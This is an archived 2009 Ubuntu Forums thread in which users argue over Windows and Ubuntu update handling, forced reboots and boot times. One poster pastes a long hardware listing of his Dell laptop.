PDA

View Full Version : Now I know why I use Ubuntu!



irv
September 9th, 2009, 09:56 PM
I haven't posted anything lately because everything has been running great. No problem at all with anything. Isn't Ubuntu great!

Well, maybe I should tell you about one problem. My grand-kids were over last week, and my granddaughter needed to do something in Windows, and I still have a duel boot with Vista. I shut-down Ubuntu and rebooted into Vista for her. As soon as it came up it started to do some installs. It ran and ran for a long time. When it finally got done, it rebooted. After 20 minutes or so, it came up to the OS. Before I could do anything it started to update the Anti-virus. Again it rebooted and about 15 minutes later it was up and running.

Oh wait, it is doing more updates this time it only took about 10 minutes and didn't need to do a restart. My granddaughter was wondering if she was ever going to get on the computer.
Now I know why I use Ubuntu Linux and not Windows.

chriskin
September 9th, 2009, 09:59 PM
might be the heretic here, but my windows 7 installation boots faster than ubuntu 9.04.

what computer do you have? i have seen faster boot up times (updates included) even on an old single core i have somewhere around here

davo11
September 9th, 2009, 10:08 PM
seems like windows is falling by the wayside!
but if you haven't used vista for a while then it may have hard tons of updates to do, maybe needing to reboot individually.

LowSky
September 9th, 2009, 10:10 PM
What did she need to do that couldn't be done in Ubuntu?

I ran into the same problem with my netbook. I've been using Ubuntu for so long I forgot about XP, until one day I booted it up and it took about 30 minute bofroe it was done rebooting and installing "updates"

windows 7 boots faster.. no F...ing way is tha true
Ubuntu 9.04 with EXT4 or EXT3 is way faster than win7


and the same thing will happen to Ubuntu if you dont use it for a while, updates are always annoying

chriskin
September 9th, 2009, 10:10 PM
one can always Choose what updates to install, not just install all of them.
installing few makes them take less time :)

chriskin
September 9th, 2009, 10:11 PM
windows 7 boots faster.. no F...ing way is tha true
Ubuntu 9.04 with EXT4 or EXT3 is way faster than win7

Are you calling me a liar? :)

chessnerd
September 9th, 2009, 10:15 PM
I wouldn't really say that this is a "Windows sucks" thing as much as a "you should maintain your OS" thing. The reason that you had to do so many updates is probably that you hadn't run them in a while. I had this happen with Linux when I hadn't used it in a few weeks. I booted up and was surfing the web and then the update manager appeared in notifications and there were dozens of updates (I think about 60!), one being a kernel update, which required a reboot.

I am very impressed that I rarely have to reboot after an update in Ubuntu, but it is becoming rarer in Windows with each new version. There were a few updates last month that I installed and, as the install finished I closed out of Opera and got ready to reboot as usual, but then... no reboot required! I was shocked and almost disappointed. It is really only when it is a serious security or OS update that you need to reboot now. Ubuntu has this over Windows' head for now, but by Windows 8 it might not have this advantage anymore.

chriskin
September 9th, 2009, 10:17 PM
the first phrase here is wise
it's all about maintaining the OS

as for the number of updates, stay for more than a month without internet (vacations for example) and check how many updates you will find by then :P

blur xc
September 9th, 2009, 10:24 PM
one can always Choose what updates to install, not just install all of them.
installing few makes them take less time :)


exactly, and you can choose not to do them if it's inconvenient at that particular time. Also, Ubuntu doesn't "force" you do to a reboot like Windows does. That's super annoying.

They wear the guise of being nice, with the "Do you want to reboot now or later" message, but once you walk away, that box pops up saying it will reboot in 30 seconds (or whatever, don't remember) and if you are gone before time runs out, you are greeted by a nice login screen. Just hope you saved everything before you walked away. :D

BM

xpod
September 9th, 2009, 10:30 PM
Now I know why I use Ubuntu!

With all due respect, you should be using Ubuntu on it`s own merits and not because of anything Windows does, or doesn`t do.Or indeed just does badly.

speedwell68
September 9th, 2009, 10:35 PM
might be the heretic here, but my windows 7 installation boots faster than ubuntu 9.04.

Are they both booting on the same hardware?

I'm sorry I don't buy that in a million years. I have not found a single PC that will be fully booted under XP/Vista or W7 as fast as it will under Ubuntu or any other current distro for that matter. Windows may have the GUI up before Linux, but it won't actually have finished loading everything and be fully connected to the internet before Linux.

chriskin
September 9th, 2009, 10:38 PM
Are they both booting on the same hardware? I'm sorry I don't buy that in a million years. I have not found a single PC that will be fully booted under XP/Vista or W7 as fast as it will under Ubuntu or any other distro for that matter. Windows may have the GUI up before Linux, but it won't actually have finished loading everything and be fully connected to the internet before Linux.

compiz and screenlets take more time to start than the gui of windows

their starting boot time is about the same.

thus, windows starts faster

doesn't mean that i am any fan to be honest, i just installed windows 7 because i got it for free through the Msdnaa project and have it there mostly for chessmaster and visual studio.

as for the hardware, it's obviously the same
the be exact , a fujitsu siemens amilo xi 2428 laptop :)

geoken
September 9th, 2009, 10:48 PM
exactly, and you can choose not to do them if it's inconvenient at that particular time. Also, Ubuntu doesn't "force" you do to a reboot like Windows does. That's super annoying.

They wear the guise of being nice, with the "Do you want to reboot now or later" message, but once you walk away, that box pops up saying it will reboot in 30 seconds (or whatever, don't remember) and if you are gone before time runs out, you are greeted by a nice login screen. Just hope you saved everything before you walked away. :D

BM

It's funny, if I came in here and started comparing Win 7 to Ubuntu 5.10, I would be laughed out of the room (and rightfully so). Yet when it comes to bashing Windows it's perfectly acceptable to discuss issues from Win 2k as if they're current.

You chose the wrong day to make your dubious claims seeing as how yesterday was 'patch tuesday' and many people (including myself) turned on their monitors this morning and were greeted by a 'reboot now/postpone' dialog that was sitting on the screen for at least 8 hrs without forcing the system to reboot as you claim it will.

ajgreeny
September 9th, 2009, 10:53 PM
and the same thing will happen to Ubuntu if you dont use it for a while, updates are always annoying
Well, yes there may well be a lot of updates, but it still does not take the same length of time, nor stop you doing anything else which windows tends to, and if there was not a kernel update, there probably is no need to reboot. That really annoys me; on the odd times I do need to boot into XP, I usually have to reboot it several times for various updates before I can actually do anything useful.

geoken
September 9th, 2009, 10:56 PM
Well, yes there may well be a lot of updates, but it still does not take the same length of time, nor stop you doing anything else which windows tends to, and if there was not a kernel update, there probably is no need to reboot. That really annoys me; on the odd times I do need to boot into XP, I usually have to reboot it several times for various updates before I can actually do anything useful.

I can't think of a single update that forced itself on me and wouldn't allow me to work until I did it, on any OS.

aesis05401
September 9th, 2009, 11:02 PM
It's funny, if I came in here and started comparing Win 7 to Ubuntu 5.10, I would be laughed out of the room (and rightfully so). Yet when it comes to bashing Windows it's perfectly acceptable to discuss issues from Win 2k as if they're current. *snip*


I would mostly agree with you, but upgrading from U5.10 is without monetary cost - so this is different than choosing to pay MS again for a newer version. Furthermore, by your logic discussing anything but Vista/7 should be out of bounds as XP is already on end of life prep.

That being said, I mostly agree with you. Sticking with current comparisons should be the norm.

speedwell68
September 9th, 2009, 11:10 PM
Well, yes there may well be a lot of updates, but it still does not take the same length of time, nor stop you doing anything else which windows tends to, and if there was not a kernel update, there probably is no need to reboot. That really annoys me; on the odd times I do need to boot into XP, I usually have to reboot it several times for various updates before I can actually do anything useful.

^^^QFT. I have just done 34mb of updates in Ubuntu, Java and the UbuntuOne client. I left it run in the background and didn't even notice when it had finished. In Windows it would have caused the system to slow and the it would have required a reboot to complete the install. A quick jump over to the Sun Java test page proved that I didn't even need to restart my browser to have the updated Java running.

t0p
September 9th, 2009, 11:14 PM
With all due respect, you should be using Ubuntu on it`s own merits and not because of anything Windows does, or doesn`t do.Or indeed just does badly.

Judging from comments in these forums, lots of people turn to Ubuntu because of some crap Windows did or didn't do. This is as valid a reason as any to start using Linux, so to claim it's wrong to mention this is ridiculous.

ElSlunko
September 9th, 2009, 11:16 PM
Windows 7 does indeed boot very fast! On my new PC anyways. It probably edges out 9.04 barely. I could probably save 3 seconds and make the GRUB countdown 0, but it's still pretty close.

Again this is a FRESH 7 install and FRESH ubuntu install.

Back to the OPs post, that's the exact reason I hate/hated vista. Updates were long and slow whenever they happened. I knew I had to tack on an hour or more to installation time just for updates.

executorvs
September 9th, 2009, 11:20 PM
Windows 7 does indeed boot very fast! On my new PC anyways. It probably edges out 9.04 barely. I could probably save 3 seconds and make the GRUB countdown 0, but it's still pretty close.

Again this is a FRESH 7 install and FRESH ubuntu install.

Back to the OPs post, that's the exact reason I hate/hated vista. Updates were long and slow whenever they happened. I knew I had to tack on an hour or more to installation time just for updates.

shouldn't you be timing from the point you select your OS in grub, not including the grub boot loader in the OS boot times..

blur xc
September 9th, 2009, 11:32 PM
It's funny, if I came in here and started comparing Win 7 to Ubuntu 5.10, I would be laughed out of the room (and rightfully so). Yet when it comes to bashing Windows it's perfectly acceptable to discuss issues from Win 2k as if they're current.

You chose the wrong day to make your dubious claims seeing as how yesterday was 'patch tuesday' and many people (including myself) turned on their monitors this morning and were greeted by a 'reboot now/postpone' dialog that was sitting on the screen for at least 8 hrs without forcing the system to reboot as you claim it will.

No comprende, por favor (I don't speak spanish either).

I'm comparing Ubuntu 9.04 to Vista. I've never seen ubuntu force a reboot like windows, even vista. I've never walked away from my ubuntu machine, and had it do an update w/o asking me first (requires root privileges anyway), reboot, and have my computer at the login screen when I came back. Except maybe after a power outage (we get a few where I live).

I dual boot, and had vista open overnight and when I woke up it was at the ubuntu login screen (ubuntu is the primary os). And we didn't have a power outage (all the clocks were still good).

BM

irv
September 9th, 2009, 11:49 PM
I can't think of a single update that forced itself on me and wouldn't allow me to work until I did it, on any OS.

I have a laptop, and I do power points. While in Vista, I was on the Internet at home and Vista downloaded some updates but didn't install them. I wasn't even aware of this happing at the time. I shut down my laptop and took it with me to do some PP presentations. When I started the laptop and started PP right in the middle of the presentation it rebooted. Seeing I was not at the desktop, I never saw the warring about rebooting. This was very embarrassing. At that time I was not on the Internet when this happen so I was left standing there trying to explain what was happening.

irv
September 9th, 2009, 11:51 PM
For the post asking what I was using for a computer, here is my specs.

irv-new-laptop
description: Portable Computer
product: Inspiron 1521
vendor: Dell Inc.
serial: HM3G6F1
width: 32 bits
capabilities: smbios-2.4 dmi-2.4
configuration: boot=normal chassis=portable uuid=44454C4C-4D00-1033-8047-C8C04F364631
*-core
description: Motherboard
product: 0KY766
vendor: Dell Inc.
physical id: 0
serial: .HM3G6F1.CN486437B61525.
slot: ��@
*-firmware
description: BIOS
vendor: Dell Inc.
physical id: 0
version: A04 (10/30/2007)
size: 64KiB
capacity: 960KiB
capabilities: isa pci pcmcia pnp upgrade shadowing cdboot bootselect int13floppy720 int5printscreen int9keyboard int14serial int17printer int10video acpi usb agp smartbattery biosbootspecification netboot
*-cpu
description: CPU
product: AMD Turion(tm) 64 X2 Mobile Technology TL-58
vendor: Advanced Micro Devices [AMD]
physical id: 400
bus info: cpu@0
version: 15.8.1
slot: Microprocessor
size: 1900MHz
capacity: 1900MHz
width: 64 bits
clock: 100MHz
capabilities: fpu fpu_exception wp vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt rdtscp x86-64 3dnowext 3dnow pni cx16 lahf_lm cmp_legacy svm extapic cr8_legacy 3dnowprefetch cpufreq
*-cache:0
description: L1 cache
physical id: 700
size: 128KiB
capacity: 128KiB
capabilities: internal write-back data
*-cache:1
description: L2 cache
physical id: 701
size: 512KiB
capacity: 1MiB
clock: 66MHz (15.0ns)
capabilities: pipeline-burst internal varies unified
*-memory
description: System Memory
physical id: 1000
slot: System board or motherboard
size: 4GiB
*-bank:0
description: DIMM DDR Synchronous 667 MHz (1.5 ns)
product: HYOPE1B163BZ
vendor: 7F7F7F7FCB000000
physical id: 0
serial: 00000000
slot: DIMM_A
size: 2GiB
width: 64 bits
clock: 667MHz (1.5ns)
*-bank:1
description: DIMM DDR Synchronous 667 MHz (1.5 ns)
product: HYOPE1B163BZ
vendor: 7F7F7F7FCB000000
physical id: 1
serial: 00000000
slot: DIMM_B
size: 2GiB
width: 64 bits
clock: 667MHz (1.5ns)
*-pci:0
description: Host bridge
product: RS690 Host Bridge
vendor: ATI Technologies Inc
physical id: 100
bus info: pci@0000:00:00.0
version: 00
width: 32 bits
clock: 66MHz
configuration: latency=64
*-pci:0
description: PCI bridge
product: RS690 PCI to PCI Bridge (Internal gfx)
vendor: ATI Technologies Inc
physical id: 1
bus info: pci@0000:00:01.0
version: 00
width: 32 bits
clock: 66MHz
capabilities: pci ht bus_master cap_list
*-display UNCLAIMED
description: VGA compatible controller
product: RS690M [Radeon X1200 Series]
vendor: ATI Technologies Inc
physical id: 5
bus info: pci@0000:01:05.0
version: 00
width: 64 bits
clock: 33MHz
capabilities: pm msi bus_master cap_list
configuration: latency=64
*-pci:1
description: PCI bridge
product: RS690 PCI to PCI Bridge (PCI Express Port 1)
vendor: ATI Technologies Inc
physical id: 5
bus info: pci@0000:00:05.0
version: 00
width: 32 bits
clock: 33MHz
capabilities: pci pm pciexpress msi ht bus_master cap_list
configuration: driver=pcieport-driver
*-network
description: Network controller
product: BCM4311 802.11b/g WLAN
vendor: Broadcom Corporation
physical id: 0
bus info: pci@0000:0b:00.0
version: 01
width: 32 bits
clock: 33MHz
capabilities: pm msi pciexpress bus_master cap_list
configuration: driver=b43-pci-bridge latency=0 module=ssb
*-pci:2
description: PCI bridge
product: RS690 PCI to PCI Bridge (PCI Express Port 3)
vendor: ATI Technologies Inc
physical id: 7
bus info: pci@0000:00:07.0
version: 00
width: 32 bits
clock: 33MHz
capabilities: pci pm pciexpress msi ht bus_master cap_list
configuration: driver=pcieport-driver
*-storage
description: SATA controller
product: SB600 Non-Raid-5 SATA
vendor: ATI Technologies Inc
physical id: 12
bus info: pci@0000:00:12.0
logical name: scsi0
version: 00
width: 32 bits
clock: 66MHz
capabilities: storage pm bus_master cap_list emulated
configuration: driver=ahci latency=64 module=ahci
*-disk
description: ATA Disk
product: WDC WD2500BEVS-7
vendor: Western Digital
physical id: 0.0.0
bus info: scsi@0:0.0.0
logical name: /dev/sda
version: 01.0
serial: WD-WXEY07162085
size: 232GiB (250GB)
capabilities: partitioned partitioned:dos
configuration: ansiversion=5 signature=e0000000
*-volume:0
description: Windows NTFS volume
physical id: 1
bus info: scsi@0:0.0.0,1
logical name: /dev/sda1
version: 3.1
serial: 5c003067-f79e-6d41-aaba-af71349337c1
size: 10232MiB
capacity: 10GiB
capabilities: primary ntfs initialized
configuration: clustersize=4096 created=2007-12-04 03:18:16 filesystem=ntfs label=RECOVERY state=clean
*-volume:1
description: Windows NTFS volume
physical id: 2
bus info: scsi@0:0.0.0,2
logical name: /dev/sda2
version: 3.1
serial: a0886b99-bdbe-bb4e-9dd0-b3b5fd026ad2
size: 148GiB
capacity: 148GiB
capabilities: primary bootable ntfs initialized
configuration: clustersize=4096 created=2007-12-04 03:18:21 filesystem=ntfs label=OS modified_by_chkdsk=true mounted_on_nt4=true resize_log_file=true state=dirty upgrade_on_mount=true
*-volume:2
description: EXT4 volume
vendor: Linux
physical id: 3
bus info: scsi@0:0.0.0,3
logical name: /dev/sda3
logical name: /
version: 1.0
serial: b7a65782-aa8a-4cc3-a891-032a38f56b76
size: 72GiB
capacity: 72GiB
capabilities: primary journaled extended_attributes large_files huge_files dir_nlink recover extents ext4 ext2 initialized
configuration: created=2009-06-11 15:14:27 filesystem=ext4 modified=2009-07-29 08:03:32 mount.fstype=ext4 mount.options=rw,relatime,errors=remount-ro,barrier=1,data=ordered mounted=2009-07-29 08:03:32 state=mounted
*-volume:3
description: Extended partition
physical id: 4
bus info: scsi@0:0.0.0,4
logical name: /dev/sda4
size: 2549MiB
capacity: 2549MiB
capabilities: primary extended partitioned partitioned:extended
*-logicalvolume:0
description: Linux swap / Solaris partition
physical id: 5
logical name: /dev/sda5
capacity: 172MiB
capabilities: nofs
*-logicalvolume:1
description: W95 FAT32 partition
physical id: 6
logical name: /dev/sda6
capacity: 2376MiB
*-usb:0
description: USB Controller
product: SB600 USB (OHCI0)
vendor: ATI Technologies Inc
physical id: 13
bus info: pci@0000:00:13.0
version: 00
width: 32 bits
clock: 66MHz
capabilities: bus_master
configuration: driver=ohci_hcd latency=64
*-usbhost
product: OHCI Host Controller
vendor: Linux 2.6.28-14-generic ohci_hcd
physical id: 1
bus info: usb@2
logical name: usb2
version: 2.06
capabilities: usb-1.10
configuration: driver=hub slots=2 speed=12.0MB/s
*-usb:1
description: USB Controller
product: SB600 USB (OHCI1)
vendor: ATI Technologies Inc
physical id: 13.1
bus info: pci@0000:00:13.1
version: 00
width: 32 bits
clock: 66MHz
capabilities: bus_master
configuration: driver=ohci_hcd latency=64
*-usbhost
product: OHCI Host Controller
vendor: Linux 2.6.28-14-generic ohci_hcd
physical id: 1
bus info: usb@3
logical name: usb3
version: 2.06
capabilities: usb-1.10
configuration: driver=hub slots=2 speed=12.0MB/s
*-usb:0
description: Mouse
product: USB MOUSE
vendor: KYE
physical id: 1
bus info: usb@3:1
version: 0.00
capabilities: usb-1.10
configuration: driver=usbhid maxpower=100mA speed=1.5MB/s
*-usb:1
description: Keyboard
product: G-720 Keyboard
vendor: Logic3 / SpectraVideo plc
physical id: 2
bus info: usb@3:2
version: 1.00
capabilities: usb-1.10
configuration: driver=usbhid maxpower=100mA speed=1.5MB/s
*-usb:2
description: USB Controller
product: SB600 USB (OHCI2)
vendor: ATI Technologies Inc
physical id: 13.2
bus info: pci@0000:00:13.2
version: 00
width: 32 bits
clock: 66MHz
capabilities: bus_master
configuration: driver=ohci_hcd latency=64
*-usbhost
product: OHCI Host Controller
vendor: Linux 2.6.28-14-generic ohci_hcd
physical id: 1
bus info: usb@4
logical name: usb4
version: 2.06
capabilities: usb-1.10
configuration: driver=hub slots=2 speed=12.0MB/s
*-usb:3
description: USB Controller
product: SB600 USB (OHCI3)
vendor: ATI Technologies Inc
physical id: 13.3
bus info: pci@0000:00:13.3
version: 00
width: 32 bits
clock: 66MHz
capabilities: bus_master
configuration: driver=ohci_hcd latency=64
*-usbhost
product: OHCI Host Controller
vendor: Linux 2.6.28-14-generic ohci_hcd
physical id: 1
bus info: usb@5
logical name: usb5
version: 2.06
capabilities: usb-1.10
configuration: driver=hub slots=2 speed=12.0MB/s
*-usb:4
description: USB Controller
product: SB600 USB (OHCI4)
vendor: ATI Technologies Inc
physical id: 13.4
bus info: pci@0000:00:13.4
version: 00
width: 32 bits
clock: 66MHz
capabilities: bus_master
configuration: driver=ohci_hcd latency=64
*-usbhost
product: OHCI Host Controller
vendor: Linux 2.6.28-14-generic ohci_hcd
physical id: 1
bus info: usb@6
logical name: usb6
version: 2.06
capabilities: usb-1.10
configuration: driver=hub slots=2 speed=12.0MB/s
*-usb:5
description: USB Controller
product: SB600 USB Controller (EHCI)
vendor: ATI Technologies Inc
physical id: 13.5
bus info: pci@0000:00:13.5
version: 00
width: 32 bits
clock: 66MHz
capabilities: pm debug bus_master cap_list
configuration: driver=ehci_hcd latency=64 module=ehci_hcd
*-usbhost
product: EHCI Host Controller
vendor: Linux 2.6.28-14-generic ehci_hcd
physical id: 1
bus info: usb@1
logical name: usb1
version: 2.06
capabilities: usb-2.00
configuration: driver=hub slots=10 speed=480.0MB/s
*-usb
description: Video
product: Laptop Integrated Webcam
vendor: OmniVision Technologies, Inc. -2640-07.07.20.3
physical id: 6
bus info: usb@1:6
version: 1.00
capabilities: usb-2.00
configuration: driver=uvcvideo maxpower=500mA speed=480.0MB/s
*-serial
description: SMBus
product: SBx00 SMBus Controller
vendor: ATI Technologies Inc
physical id: 14
bus info: pci@0000:00:14.0
version: 14
width: 32 bits
clock: 66MHz
capabilities: ht cap_list
configuration: driver=piix4_smbus latency=0 module=i2c_piix4
*-ide
description: IDE interface
product: SB600 IDE
vendor: ATI Technologies Inc
physical id: 14.1
bus info: pci@0000:00:14.1
logical name: scsi4
version: 00
width: 32 bits
clock: 66MHz
capabilities: ide bus_master emulated
configuration: driver=pata_atiixp latency=64
*-cdrom
description: DVD writer
product: DVD+-RW DS-8W1P
vendor: PBDS
physical id: 0.0.0
bus info: scsi@4:0.0.0
logical name: /dev/cdrom
logical name: /dev/cdrw
logical name: /dev/dvd
logical name: /dev/dvdrw
logical name: /dev/scd0
logical name: /dev/sr0
version: BD1B
capabilities: removable audio cd-r cd-rw dvd dvd-r
configuration: ansiversion=5 status=nodisc
*-multimedia
description: Audio device
product: SBx00 Azalia (Intel HDA)
vendor: ATI Technologies Inc
physical id: 14.2
bus info: pci@0000:00:14.2
version: 00
width: 64 bits
clock: 33MHz
capabilities: pm bus_master cap_list
configuration: driver=HDA Intel latency=64 module=snd_hda_intel
*-isa
description: ISA bridge
product: SB600 PCI to LPC Bridge
vendor: ATI Technologies Inc
physical id: 14.3
bus info: pci@0000:00:14.3
version: 00
width: 32 bits
clock: 66MHz
capabilities: isa bus_master
configuration: latency=0
*-pci:3
description: PCI bridge
product: SBx00 PCI to PCI Bridge
vendor: ATI Technologies Inc
physical id: 14.4
bus info: pci@0000:00:14.4
version: 00
width: 32 bits
clock: 66MHz
capabilities: pci bus_master
*-network
description: Ethernet interface
product: BCM4401-B0 100Base-TX
vendor: Broadcom Corporation
physical id: 0
bus info: pci@0000:03:00.0
logical name: eth0
version: 02
serial: 00:1d:09:a6:0e:20
size: 10MB/s
capacity: 100MB/s
width: 32 bits
clock: 33MHz
capabilities: pm bus_master cap_list ethernet physical mii 10bt 10bt-fd 100bt 100bt-fd autonegotiation
configuration: autonegotiation=on broadcast=yes driver=b44 driverversion=2.0 duplex=half latency=64 link=no module=ssb multicast=yes port=twisted pair speed=10MB/s
*-firewire
description: FireWire (IEEE 1394)
product: R5C832 IEEE 1394 Controller
vendor: Ricoh Co Ltd
physical id: 1
bus info: pci@0000:03:01.0
version: 05
width: 32 bits
clock: 33MHz
capabilities: pm bus_master cap_list
configuration: driver=ohci1394 latency=64 maxlatency=4 mingnt=2 module=ohci1394
*-system:0
description: SD Host controller
product: R5C822 SD/SDIO/MMC/MS/MSPro Host Adapter
vendor: Ricoh Co Ltd
physical id: 1.1
bus info: pci@0000:03:01.1
version: 22
width: 32 bits
clock: 33MHz
capabilities: pm bus_master cap_list
configuration: driver=sdhci-pci latency=64 module=sdhci_pci
*-system:1 UNCLAIMED
description: System peripheral
product: R5C843 MMC Host Controller
vendor: Ricoh Co Ltd
physical id: 1.2
bus info: pci@0000:03:01.2
version: 12
width: 32 bits
clock: 33MHz
capabilities: pm bus_master cap_list
configuration: latency=64
*-system:2 UNCLAIMED
description: System peripheral
product: R5C592 Memory Stick Bus Host Adapter
vendor: Ricoh Co Ltd
physical id: 1.3
bus info: pci@0000:03:01.3
version: 12
width: 32 bits
clock: 33MHz
capabilities: pm bus_master cap_list
configuration: latency=64
*-pci:1
description: Host bridge
product: K8 [Athlon64/Opteron] HyperTransport Technology Configuration
vendor: Advanced Micro Devices [AMD]
physical id: 101
bus info: pci@0000:00:18.0
version: 00
width: 32 bits
clock: 33MHz
*-pci:2
description: Host bridge
product: K8 [Athlon64/Opteron] Address Map
vendor: Advanced Micro Devices [AMD]
physical id: 102
bus info: pci@0000:00:18.1
version: 00
width: 32 bits
clock: 33MHz
*-pci:3
description: Host bridge
product: K8 [Athlon64/Opteron] DRAM Controller
vendor: Advanced Micro Devices [AMD]
physical id: 103
bus info: pci@0000:00:18.2
version: 00
width: 32 bits
clock: 33MHz
*-pci:4
description: Host bridge
product: K8 [Athlon64/Opteron] Miscellaneous Control
vendor: Advanced Micro Devices [AMD]
physical id: 104
bus info: pci@0000:00:18.3
version: 00
width: 32 bits
clock: 33MHz
configuration: driver=k8temp module=k8temp
*-battery
product: DELL TM9787B
vendor: Sanyo
physical id: 1
slot: Sys. Battery Bay
capacity: 52000mWh
configuration: voltage=11.1V
*-network
description: Wireless interface
physical id: 2
logical name: wlan0
serial: 00:1d:60:e6:52:4e
capabilities: ethernet physical wireless
configuration: broadcast=yes ip=192.168.1.124 multicast=yes wireless=IEEE 802.11bg

Exodist
September 9th, 2009, 11:52 PM
might be the heretic here, but my windows 7 installation boots faster than ubuntu 9.04.

what computer do you have? i have seen faster boot up times (updates included) even on an old single core i have somewhere around here
Careful, might get dipped in boiling oil around here for heresy! :-)

irv
September 9th, 2009, 11:54 PM
Last night I left my computer on when I went to bed. I was in Vista. When I got up this morning I was at the login screen of Ubuntu. It did some updates with out asking me and rebooted. I have my Grub set to boot into Ubuntu first. I should of shut it down or at least left it running Ubuntu.

MasterNetra
September 10th, 2009, 12:30 AM
Windows 7 functions nicely, but is too resource heavy for my taste...of course if I had at least 4GB (2GB recommended for 64 bit version but I prefer to at least have 2x of recommended.) it wouldn't be a issue. Also to note switching from a Aero theme to the old plain windows theme does nothing except remove the shiny distraction that is Aero, I mean when I did that I only say a 5-10MB of ram drop in usage.

HappyFeet
September 10th, 2009, 01:04 AM
and the same thing will happen to Ubuntu if you dont use it for a while, updates are always annoying

True, but updates in linux seem to take a lot less time to install.

I myself, and my customers like the fact that ubuntu does not get in the way while working, and we don't have to worry about viruses. 2 very strong selling points.

HappyFeet
September 10th, 2009, 01:05 AM
Careful, might get dipped in boiling oil around here for heresy! :-)

Yes, especially from us linux cultists. ;)

Sealbhach
September 10th, 2009, 01:13 AM
It's the exact reason I switched to Ubuntu. The painfully slow startups and shutdowns in Vista were driving me nuts. It all worked out happily in the end though, now I'm Windows free at home.

.

donato roque
September 10th, 2009, 10:39 AM
I think what the original post was about is: We take it for granted especially after so many months of using Ubuntu, that this OS is really a step up from the Windoze experience. The regular Ubuntu user has become mellowed. They need this kind of experience to be reminded how much Windows suck.

chriskin
September 10th, 2009, 10:43 AM
Careful, might get dipped in boiling oil around here for heresy! :-)

haven't i been dipped there already? twice called a liar for something i know that it's true , the boot times of my own laptop :)



anyway back to topic now

one muse use ubuntu for what it does well, not what windows does wrong. cause i can say Many things that ubuntu fails at and windows can take care of it very well, but it's not a reason for me to change OS.

BuffaloX
September 10th, 2009, 10:57 AM
I had to take over a coworkers computer a couple of days ago.
It took Windows XP about 2 hours to complete the updates with several reboots. This on a network which loaded the upgrades at speeds around 500KB pr/s

irv
September 10th, 2009, 12:22 PM
I think what the original post was about is: We take it for granted especially after so many months of using Ubuntu, that this OS is really a step up from the Windoze experience. The regular Ubuntu user has become mellowed. They need this kind of experience to be reminded how much Windows suck.

Thank you for coming back to the main point.

I have been into computer now since the 1970's and they have come from slow and big bulky boxes to power houses you can carried in your hand. With all this power the OS' and software has also grown.

Remember if we were using DOS or some non-GUI every computer would fly. But we have gotten to the point that we have so much running on our computer at any given time it will slow down.

Now the point being, software is being updated daily and these update need to be installed and we need to take the time to do it. Now if you don't use a OS for awhile these updates pile up and it takes time to install them.

Thid point being how does Windows and Linux handle updates.

I have a server that I remotely connect to it to do updates. When the update manager come up on my laptop I start the update and then remote into my server and start that one. Most often I jump back to my laptop and it is done. I close down the update manager and go back to my server. My server is a little slower but most of the time it is done also. I shut down the manager and go back to my laptop. This whole thing take very little time.

If I was running Windows on both machines this would have taken much longer and would have required reboots on both. You see my point. (Given I have to do a reboot on Ubuntu if I do a kernel update)

Maybe one last thing. After using Windows for a time it will slow down. My Ubuntu OS has never slowed over time. It's like that bunny that just keeps going and going. Not like a turtle.

chriskin
September 10th, 2009, 12:24 PM
Maybe one last thing. After using Windows for a time it will slow down. My Ubuntu OS has never slowed over time. It's like that bunny that just keeps going and going. Not like a turtle.

do you mean getting slower because of fragmentation or because of installing more software?

UKBB
September 10th, 2009, 01:01 PM
might be the heretic here, but my windows 7 installation boots faster than ubuntu 9.04.

what computer do you have? i have seen faster boot up times (updates included) even on an old single core i have somewhere around here

When I first bought my Dell pc Windows XP booted up so fast I was in shock. Not long after that, that bloated pig of an OS took forever to boot up. Keep us updated on your Windows 7 boot times.

MellonCollie
September 10th, 2009, 01:07 PM
Last night I left my computer on when I went to bed. I was in Vista. When I got up this morning I was at the login screen of Ubuntu. It did some updates with out asking me and rebooted.

If this kind of thing bothers you so much why don't you change the Windows Update settings to 'Check for updates but let me choose whether to download and install them'?

longtom
September 10th, 2009, 01:19 PM
I am servicing, looking after and am the poor IT guy who gets called up for everything remotely computer related. (This would include printers and the till system....)

Most of our PCs are WinXP prof. That's how I found it and that's how the company wants it. I suggested partial switching but wasn't greeted with enthusiam, mainly because of the semi-ignorance (which is a lot more dangerous than full ignorance) of executive management.

So here I am, running Ubuntu on my machine (and the one of the maintenance guy - and didn't he cringe at first) and look after XP machines (which is probably the best Win distro there is - not knowing anything about Win 7).

Long story....what I am getting at is, that every time I need to get behind any of these Windows machines it feels like a time machine. Back to the bad old days, where everything was slower, error messages were cryptic or misleading, drivers had to obtained for even the most menial additions to the hardware or periphery.
That makes you thankful for having discovered Linux and for a community like this one, who carefully (or sometimes less carefully) gets you into the swing of things.

Little example: Call from "upstairs". Here is an old Canon printer thing not working any more and we lost the CD. Come get it to write it off and toss it.
Turned out to be a Canon MP150 coming from the Boss' house. Fetched it, cleaned it, got a printer cable - plugged it into my machine. Literally 1 minute it was recognised. Print head finished - but scanner just fine. Here I have a scanner. No additional software, no looking for CDs, no sitting in front of the monitor and watching that bar to creep from 0 to 100, no "switch of printer, switch on printer, plug in, plug out...". It just worked.

Yeah - I agree with the OP. Ubuntu is not perfect, but compared to the alternatives it certainly is right up there!

geoken
September 10th, 2009, 01:32 PM
No comprende, por favor (I don't speak spanish either).

I'm comparing Ubuntu 9.04 to Vista. I've never seen ubuntu force a reboot like windows, even vista. I've never walked away from my ubuntu machine, and had it do an update w/o asking me first (requires root privileges anyway), reboot, and have my computer at the login screen when I came back.

Nor have I with Vista/XP.

I guess I was confused by what you guys meant when you said force reboot. For me, when you guys say the OS can't do updates without forcing you to reboot it sounds like a physical limitation of the OS when in actuality it's simply some option in your updater settings. I've been working for 2 days now ignoring the 'reboot to apply updates' prompt I got when the updates finished on Tuesday. Windows definately doesn't force a reboot if your updater settings don't tell it to.

geoken
September 10th, 2009, 01:40 PM
Yeah - I agree with the OP. Ubuntu is not perfect, but compared to the alternatives it certainly is right up there!

Do you think it's fair to compare the bundled drivers in a circa 2000 OS with the bundled drivers in a circa 2009 OS?

Every mainstream OS tries to bundle drivers for as much hardware as is reasonably possible. Win 7 will run a lot of hardware out of the box that Win XP won't (just as Ubuntu will). This has more to do with the fact that the hardware in question likely didn't exist when XP was made and less to do with differing philosophies/implementations towards hardware support.

Islington
September 10th, 2009, 01:45 PM
couple of things, that occur to me as I skim this thread.

1. OS maintenance.
